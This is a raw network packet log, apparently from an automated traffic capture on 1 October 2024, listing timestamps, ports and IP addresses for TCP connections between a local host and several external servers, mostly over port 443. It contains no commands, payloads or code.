Oct 1, 2024 12:21:04.604942083 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.604950905 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.604975939 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.604996920 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.685792923 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.685820103 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.685894012 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.685903072 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.685942888 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.686496973 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.686513901 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.686563015 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.686569929 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.686610937 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.686685085 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.686721087 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.686738014 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.686743975 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.686770916 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.686790943 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.687088966 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.687105894 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.687150955 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.687159061 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.687185049 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.687206030 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.687527895 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.687542915 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.687580109 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.687587023 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.687616110 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.687633038 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.687925100 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.687941074 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.687983990 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.687992096 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.688003063 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.688035011 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.688072920 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.688549995 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.688611031 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.688618898 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.688987017 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.689003944 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.689038992 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.689047098 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.689100981 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.773111105 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.773129940 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.773188114 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.773194075 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.773230076 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.773431063 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.773449898 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.773483038 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.773488998 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.773503065 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.773523092 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.774025917 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.774055004 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.774075985 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.774082899 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.774099112 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.774111032 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.774121046 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.774127007 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.774151087 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.774172068 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.774204969 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.774605989 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:04.774612904 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:04.817485094 CEST	49730	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:21:04.822309017 CEST	80	49730	185.215.165.89	192.168.2.6
Oct 1, 2024 12:21:04.822560072 CEST	49730	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:21:04.822916985 CEST	49730	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:21:04.827877998 CEST	80	49730	185.215.165.89	192.168.2.6
Oct 1, 2024 12:21:05.192702055 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:05.192753077 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:05.192821980 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:05.219975948 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:05.219996929 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:05.423161983 CEST	443	49705	173.222.162.64	192.168.2.6
Oct 1, 2024 12:21:05.423249006 CEST	49705	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:21:05.784030914 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:05.788939953 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:05.788960934 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:05.789330006 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:05.789395094 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:05.790091991 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:05.790137053 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:05.791059017 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:05.791121960 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:05.791824102 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:05.791830063 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:05.835439920 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:05.921013117 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:05.921031952 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:05.921041965 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:05.921148062 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:05.921166897 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:05.974633932 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.007329941 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.007340908 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.007359028 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.007366896 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.007392883 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.007414103 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.007424116 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.007436037 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.007460117 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.008191109 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.008198977 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.008234024 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.008272886 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.008276939 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.008943081 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.008992910 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.008999109 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.011594057 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.011614084 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.011643887 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.011652946 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.011687040 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.053550005 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.094178915 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.094245911 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.094259024 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.094314098 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.094367027 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.094373941 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.095370054 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.095426083 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.095432043 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.095616102 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.095668077 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.095673084 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.096674919 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.096740007 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.096745014 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.097278118 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.097332001 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.097337008 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.098562002 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.098582983 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.098613024 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.098622084 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.098670959 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.147644043 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.181193113 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.181204081 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.181233883 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.181267023 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.181277037 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.181293011 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.181314945 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.181998014 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.182022095 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.182065964 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.182070971 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.182095051 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.182118893 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.182817936 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.182847977 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.182873964 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.182878017 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.182902098 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.182920933 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.183156967 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.183178902 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.183207989 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.183212996 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.183238029 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.183253050 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.183846951 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.183906078 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.183911085 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.184802055 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.184817076 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.184861898 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.184869051 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.184890985 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.185019016 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.185081959 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.185086966 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.185934067 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.185947895 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.185982943 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.185987949 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.186012030 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.186762094 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.186784029 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.186815977 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.186821938 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.186835051 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.239694118 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.267904997 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.267925978 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.267976046 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.267988920 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.268018007 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.268033028 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.268363953 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.268392086 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.268418074 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.268421888 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.268450022 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.268465996 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.268505096 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.268557072 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.268562078 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.268765926 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.268809080 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.268814087 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.268997908 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.269051075 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.269057035 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.272644997 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.272703886 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.272710085 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.272715092 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.272767067 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.272770882 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.272810936 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.273037910 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.273088932 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.273092985 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.273497105 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.273509979 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.273540974 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.273545980 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.273578882 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.273588896 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.273600101 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.273636103 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.273649931 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.273700953 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.273706913 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.273848057 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.273895979 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.273900032 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.318758011 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.354459047 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.354547977 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.354561090 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.354734898 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.354784966 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.354789972 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.355062008 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.355081081 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.355120897 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.355127096 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.355149984 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.355529070 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.355544090 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.355580091 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.355587006 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.355608940 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.355812073 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.355832100 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.355858088 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.355865002 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.355891943 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.356297016 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.356314898 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.356348038 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.356352091 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.356375933 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.356683969 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.356702089 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.356736898 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.356743097 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.356765985 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.357199907 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.357218027 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.357258081 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.357261896 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.357270956 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.357285976 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.357338905 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.357342005 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.401199102 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.441471100 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.441507101 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.441533089 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.441545010 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.441596985 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.441596985 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.441607952 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.441643953 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.441648960 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.441811085 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.441879034 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.441883087 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.442213058 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.442229033 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.442266941 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.442272902 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.442306042 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.442464113 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.442518950 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.442519903 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.442528009 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.442563057 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.442622900 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.442734003 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.446733952 CEST	49731	443	192.168.2.6	49.51.78.226
Oct 1, 2024 12:21:06.446753979 CEST	443	49731	49.51.78.226	192.168.2.6
Oct 1, 2024 12:21:06.519287109 CEST	49733	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:21:06.519330978 CEST	443	49733	216.58.212.132	192.168.2.6
Oct 1, 2024 12:21:06.519419909 CEST	49733	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:21:06.519751072 CEST	49733	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:21:06.519769907 CEST	443	49733	216.58.212.132	192.168.2.6
Oct 1, 2024 12:21:07.042597055 CEST	49735	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:07.042634964 CEST	443	49735	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:07.042732000 CEST	49735	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:07.044826984 CEST	49735	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:07.044841051 CEST	443	49735	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:07.157326937 CEST	443	49733	216.58.212.132	192.168.2.6
Oct 1, 2024 12:21:07.160379887 CEST	49733	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:21:07.160399914 CEST	443	49733	216.58.212.132	192.168.2.6
Oct 1, 2024 12:21:07.161794901 CEST	443	49733	216.58.212.132	192.168.2.6
Oct 1, 2024 12:21:07.161870003 CEST	49733	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:21:07.165086031 CEST	49733	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:21:07.165180922 CEST	443	49733	216.58.212.132	192.168.2.6
Oct 1, 2024 12:21:07.209273100 CEST	49733	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:21:07.209285021 CEST	443	49733	216.58.212.132	192.168.2.6
Oct 1, 2024 12:21:07.256448984 CEST	49733	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:21:07.385988951 CEST	80	49730	185.215.165.89	192.168.2.6
Oct 1, 2024 12:21:07.428261995 CEST	49730	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:21:07.684647083 CEST	443	49735	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:07.684715986 CEST	49735	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:07.688484907 CEST	49735	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:07.688493967 CEST	443	49735	184.28.90.27	192.168.2.6
